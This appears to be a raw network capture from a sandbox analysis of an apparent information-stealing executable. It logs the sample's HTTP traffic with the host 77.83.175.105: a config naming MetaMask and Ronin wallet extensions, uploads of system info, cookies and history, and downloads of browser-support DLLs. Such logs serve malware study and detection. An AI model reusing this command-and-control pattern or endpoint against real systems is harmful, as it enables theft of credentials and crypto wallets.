Oct 29, 2024 04:16:58.541961908 CET	335	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:16:58 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Oct 29, 2024 04:16:58.565289974 CET	201	OUT	POST /18a9a962225b1ffb.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HIEHDAFHDHCBFIDGCFID Host: 77.83.175.105 Content-Length: 6155 Connection: Keep-Alive Cache-Control: no-cache
Oct 29, 2024 04:16:58.565360069 CET	6155	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 48 49 45 48 44 41 46 48 44 48 43 42 46 49 44 47 43 46 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 64 31 34 35 63 Data Ascii: ------HIEHDAFHDHCBFIDGCFIDContent-Disposition: form-data; name="token"5d145c0def6894589737e6f8b2a40a9f5298bc2be93a75d4896199a50c360960c8f88361------HIEHDAFHDHCBFIDGCFIDContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Oct 29, 2024 04:16:58.991976023 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:16:58 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 29, 2024 04:16:59.265819073 CET	92	OUT	GET /4db719b1f2f948b0/sqlite3.dll HTTP/1.1 Host: 77.83.175.105 Cache-Control: no-cache
Oct 29, 2024 04:16:59.502727985 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:16:59 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 14:30:30 GMT ETag: "10e436-5e7eeebed8d80" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Oct 29, 2024 04:16:59.502767086 CET	212	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @B
Oct 29, 2024 04:16:59.502804995 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49755	77.83.175.105	80	7484	C:\Users\user\Desktop\X9d3758tok.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 04:17:12.768522024 CET	200	OUT	POST /18a9a962225b1ffb.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EHCGIJDHDGDBGDGCGCFH Host: 77.83.175.105 Content-Length: 991 Connection: Keep-Alive Cache-Control: no-cache
Oct 29, 2024 04:17:12.768556118 CET	991	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 45 48 43 47 49 4a 44 48 44 47 44 42 47 44 47 43 47 43 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 64 31 34 35 63 Data Ascii: ------EHCGIJDHDGDBGDGCGCFHContent-Disposition: form-data; name="token"5d145c0def6894589737e6f8b2a40a9f5298bc2be93a75d4896199a50c360960c8f88361------EHCGIJDHDGDBGDGCGCFHContent-Disposition: form-data; name="file_name"Y29va2llc1xHb
Oct 29, 2024 04:17:13.646920919 CET	203	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:17:13 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 29, 2024 04:17:13.772628069 CET	201	OUT	POST /18a9a962225b1ffb.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GHIJJEGDBFIIDGCAKJEB Host: 77.83.175.105 Content-Length: 1451 Connection: Keep-Alive Cache-Control: no-cache
Oct 29, 2024 04:17:13.772716999 CET	1451	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 47 48 49 4a 4a 45 47 44 42 46 49 49 44 47 43 41 4b 4a 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 64 31 34 35 63 Data Ascii: ------GHIJJEGDBFIIDGCAKJEBContent-Disposition: form-data; name="token"5d145c0def6894589737e6f8b2a40a9f5298bc2be93a75d4896199a50c360960c8f88361------GHIJJEGDBFIIDGCAKJEBContent-Disposition: form-data; name="file_name"aGlzdG9yeVxHb
Oct 29, 2024 04:17:14.051076889 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:17:13 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 29, 2024 04:17:14.065222025 CET	563	OUT	POST /18a9a962225b1ffb.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KKJKKJJKJEGIECAKJJEB Host: 77.83.175.105 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 4b 4a 4b 4b 4a 4a 4b 4a 45 47 49 45 43 41 4b 4a 4a 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 64 31 34 35 63 30 64 65 66 36 38 39 34 35 38 39 37 33 37 65 36 66 38 62 32 61 34 30 61 39 66 35 32 39 38 62 63 32 62 65 39 33 61 37 35 64 34 38 39 36 31 39 39 61 35 30 63 33 36 30 39 36 30 63 38 66 38 38 33 36 31 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4a 4b 4b 4a 4a 4b 4a 45 47 49 45 43 41 4b 4a 4a 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4a 4b 4b 4a 4a 4b 4a 45 47 49 45 43 41 4b 4a 4a 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------KKJKKJJKJEGIECAKJJEBContent-Disposition: form-data; name="token"5d145c0def6894589737e6f8b2a40a9f5298bc2be93a75d4896199a50c360960c8f88361------KKJKKJJKJEGIECAKJJEBContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------KKJKKJJKJEGIECAKJJEBContent-Disposition: form-data; name="file"------KKJKKJJKJEGIECAKJJEB--
Oct 29, 2024 04:17:14.350956917 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:17:14 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 29, 2024 04:17:14.727897882 CET	563	OUT	POST /18a9a962225b1ffb.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EGIJKEHCAKFCAKFHDAAA Host: 77.83.175.105 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 47 49 4a 4b 45 48 43 41 4b 46 43 41 4b 46 48 44 41 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 64 31 34 35 63 30 64 65 66 36 38 39 34 35 38 39 37 33 37 65 36 66 38 62 32 61 34 30 61 39 66 35 32 39 38 62 63 32 62 65 39 33 61 37 35 64 34 38 39 36 31 39 39 61 35 30 63 33 36 30 39 36 30 63 38 66 38 38 33 36 31 0d 0a 2d 2d 2d 2d 2d 2d 45 47 49 4a 4b 45 48 43 41 4b 46 43 41 4b 46 48 44 41 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 45 47 49 4a 4b 45 48 43 41 4b 46 43 41 4b 46 48 44 41 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------EGIJKEHCAKFCAKFHDAAAContent-Disposition: form-data; name="token"5d145c0def6894589737e6f8b2a40a9f5298bc2be93a75d4896199a50c360960c8f88361------EGIJKEHCAKFCAKFHDAAAContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------EGIJKEHCAKFCAKFHDAAAContent-Disposition: form-data; name="file"------EGIJKEHCAKFCAKFHDAAA--
Oct 29, 2024 04:17:14.969773054 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:17:14 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 29, 2024 04:17:15.315936089 CET	92	OUT	GET /4db719b1f2f948b0/freebl3.dll HTTP/1.1 Host: 77.83.175.105 Cache-Control: no-cache
Oct 29, 2024 04:17:15.553028107 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:17:15 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "a7550-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Oct 29, 2024 04:17:15.553061962 CET	212	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 89 e5 68 4f 01 00 00 e8 f2 0b 08 00 83 c4 04 85 c0 74 0e 89 80 38 01 00 00 83 c0 0f 83 e0 f0 5d c3 68 13 e0 ff ff e8 c7 0b Data Ascii: UhOt8]h1]UWVEtu}UMt"0(h&40jVjjRQP?^_]
Oct 29, 2024 04:17:15.553097963 CET	1236	IN	Data Raw: cc cc cc cc 55 89 e5 53 57 56 68 4f 01 00 00 e8 3f 0b 08 00 83 c4 04 85 c0 74 30 89 c7 89 80 38 01 00 00 83 c7 0f 31 f6 83 e7 f0 74 6b 8b 45 14 8b 55 10 8b 5d 0c 8b 4d 08 85 db 74 1f f2 0f 10 03 f2 0f 11 87 30 01 00 00 eb 25 68 13 e0 ff ff e8 f2 Data Ascii: USWVhO?t081tkEU]Mt0%h1<40jRjjPQWt8^_[]UWVut }jVt8h^_]USWVPL$,M01D$H
Oct 29, 2024 04:17:15.553132057 CET	1236	IN	Data Raw: 0c 89 c1 c1 e9 18 89 4c 24 10 c7 44 24 1c 00 00 00 00 89 44 24 08 c7 44 24 24 00 00 00 00 c7 44 24 20 00 00 00 00 31 d2 31 c9 89 5c 24 28 eb 24 89 c7 8b 44 24 1c 83 c0 01 83 f8 06 8b 54 24 18 8b 4c 24 14 0f 84 e2 01 00 00 89 44 24 1c 8a 44 24 07 Data Ascii: L$D$D$D$$D$ 11\$($D$T$L$D$D$t$8D$D$@L$T$\|$ L$$\$\$T$1%1%1T$D\|$@\|$t\$
Oct 29, 2024 04:17:15.553164959 CET	1236	IN	Data Raw: 89 d9 0f b6 5d e7 09 d8 89 4d d4 29 c1 09 ca c1 fa 1f f7 db 83 e3 07 31 ff 39 d9 f7 d2 0f 44 fa 89 45 d0 89 45 dc 89 ca f7 da c1 fa 1f f7 d2 8b 45 1c 80 7c 30 f7 01 19 db 09 d3 b8 01 00 00 00 29 c8 c1 f8 1f 8b 55 1c 80 7c 32 f6 01 19 d2 f7 d0 09 Data Ascii: ]M)19DEEE\|0)U\|2!!)]\|3)\|3!)}\|7!!)U\|2)\|2!!)M\|1t/E
Oct 29, 2024 04:17:15.553199053 CET	1236	IN	Data Raw: cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 68 0c 01 00 00 e8 bf fc 07 00 83 c4 04 31 f6 85 c0 74 6c 89 c7 8b 45 08 c7 47 08 00 00 00 00 89 47 04 8b 48 04 ff 15 00 80 0a 10 ff d1 89 07 85 c0 74 31 8b 55 0c 89 f9 ff 75 14 ff 75 10 e8 17 fd ff ff 83 Data Ascii: USWVh1tlEGGHt1Uuut,tGHjSGW:G^_[]USWVUM]u>F9t:NVFMUtHHjWhjV4%t
Oct 29, 2024 04:17:15.553234100 CET	1236	IN	Data Raw: eb b2 66 c7 86 00 01 00 00 00 00 31 f6 eb 12 68 05 e0 ff ff e8 de f7 07 00 83 c4 04 be ff ff ff ff 8b 4d f0 31 e9 e8 29 f6 07 00 89 f0 81 c4 04 01 00 00 5e 5f 5b 5d c3 cc cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 81 ec 08 01 00 00 a1 b4 Data Ascii: f1hM1)^_[]USWV01Eh1E=s hkhVohh !Vf.@uVuW)9wSuW
Oct 29, 2024 04:17:15.553919077 CET	1060	IN	Data Raw: 04 03 89 45 ec 0f b6 c0 8b 4d f0 8a 14 01 00 d3 88 5d e8 0f b6 f3 89 f9 8b 7d f0 8a 1c 37 8b 7d f0 88 1c 07 89 cf 8b 45 f0 88 14 30 00 d3 0f b6 c3 8b 4d 10 8a 51 02 8b 4d f0 32 14 01 8b 4d d4 8b 45 e4 88 50 02 8b 5d dc 8b 45 d0 8b 55 d8 2b 55 cc Data Ascii: EM]}7}E0MQM2MEP]EU+UUU9)]}1EEMAMfo 1ff}]fn4ff`fafofrfo
Oct 29, 2024 04:17:15.554034948 CET	1236	IN	Data Raw: 55 e4 8b 04 02 89 45 d4 8b 45 e8 8b 55 ec 8d 44 02 01 89 d3 0f b6 c0 8b 7d f0 0f b6 14 07 00 d1 0f b6 f1 8a 34 37 88 34 07 88 14 37 00 d6 0f b6 c6 0f b6 04 07 89 45 e0 8b 45 e8 8d 44 03 02 89 de 0f b6 c0 0f b6 14 07 00 d1 0f b6 d9 8b 7d f0 8a 34 Data Ascii: UEEUD}4747EED}4}4EUEUu}<7}<U2u4EUU}4}4E]Uu3EU
Oct 29, 2024 04:17:18.574623108 CET	92	OUT	GET /4db719b1f2f948b0/mozglue.dll HTTP/1.1 Host: 77.83.175.105 Cache-Control: no-cache
Oct 29, 2024 04:17:18.812550068 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:17:18 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "94750-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Oct 29, 2024 04:17:20.180284977 CET	93	OUT	GET /4db719b1f2f948b0/msvcp140.dll HTTP/1.1 Host: 77.83.175.105 Cache-Control: no-cache
Oct 29, 2024 04:17:20.417241096 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:17:20 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "6dde8-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Oct 29, 2024 04:17:21.062305927 CET	89	OUT	GET /4db719b1f2f948b0/nss3.dll HTTP/1.1 Host: 77.83.175.105 Cache-Control: no-cache
Oct 29, 2024 04:17:21.300460100 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:17:21 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "1f3950-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Oct 29, 2024 04:17:23.075138092 CET	93	OUT	GET /4db719b1f2f948b0/softokn3.dll HTTP/1.1 Host: 77.83.175.105 Cache-Control: no-cache
Oct 29, 2024 04:17:23.312437057 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:17:23 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "3ef50-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Oct 29, 2024 04:17:23.584229946 CET	97	OUT	GET /4db719b1f2f948b0/vcruntime140.dll HTTP/1.1 Host: 77.83.175.105 Cache-Control: no-cache
